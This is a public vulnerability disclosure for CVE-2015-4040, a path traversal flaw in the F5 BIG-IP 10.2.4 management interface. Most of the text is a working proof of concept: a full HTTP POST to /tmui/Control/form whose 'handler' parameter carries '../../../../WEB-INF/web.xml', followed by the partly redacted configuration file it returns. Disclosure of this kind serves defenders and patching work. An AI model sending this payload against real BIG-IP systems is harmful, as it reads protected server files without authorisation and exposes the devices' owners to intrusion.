F5 Big-IP 10.2.4 Build 595.0 Hotfix HF3 - Directory Traversal

# Exploit Title: [F5 BigIP File Path Traversal Vulnerability]

# Discovered by: Karn Ganeshen

# Reported on: April 27, 2015

# New version released on: September 01, 2015

# Vendor Homepage: [www.f5.com]

# Version Reported: [F5 BIG-IP 10.2.4 Build 595.0 Hotfix HF3]

# CVE-2015-4040 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4040

]

# Multiple Additional F5 products & versions are Affected and documented

here:

https://support.f5.com/kb/en-us/solutions/public/17000/200/sol17253.html





*Vulnerability Details*

The handler parameter is vulnerable to file path manipulation attacks. When

we submit a payload

*/tmui/locallb/virtual_server/../../../../WEB-INF/web.xml* in the *handler*

parameter, the file *WEB-INF/web.xml* is returned.



*PoC:*



POST /tmui/Control/form HTTP/1.1

Host: <IP>

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;

Trident/5.0)

Connection: close

Referer: https://

<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp?&FilterBy=status_availability&Filter=2

Content-Type: application/x-www-form-urlencoded

Content-Length: 1004

Cookie: JSESSIONID=3211A73547444840255BAF39984E7E3F;

BIGIPAuthUsernameCookie=admin;

BIGIPAuthCookie=9B1099DD8A936DDBD58606DA3B5BABC7E82C43A5;

F5_CURRENT_PARTITION=Common;

f5formpage="/tmui/locallb/virtual_server/list.jsp?&";

f5_refreshpage="https%3A//<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp";

f5currenttab="main"; f5mainmenuopenlist=""; f5advanceddisplay=""



_timenow=Fri+Apr+24+14%3a48%3a38+EST+2015&_bufvalue_before=6hU2%2fMbRfPe7OHQ7VVc7TEffOpg%3d&exit_page=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&search_input=*&search_button_before=Search&_timeno

*...[SNIP]...*

fore=&enableObjList_before=&exit_page_before=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&row_count=0&_bufvalue_validation=NO_VALIDATION&disable_before=Disable&exit_button_before=Create...&handler=

*%2ftmui%2flocallb%2fvirtual_server%2f..%2f..%2f..%2f..%2fWEB-INF%2fweb.xml*





*Web.xml is returned in the Response:*



<?xml version="1.0" encoding="ISO-8859-1"?>



<!DOCTYPE web-app

PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN"

"http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">







*<!--Automatically created by Tomcat JspC.--><web-app>*

*...[config file output redacted here]...*



*.....*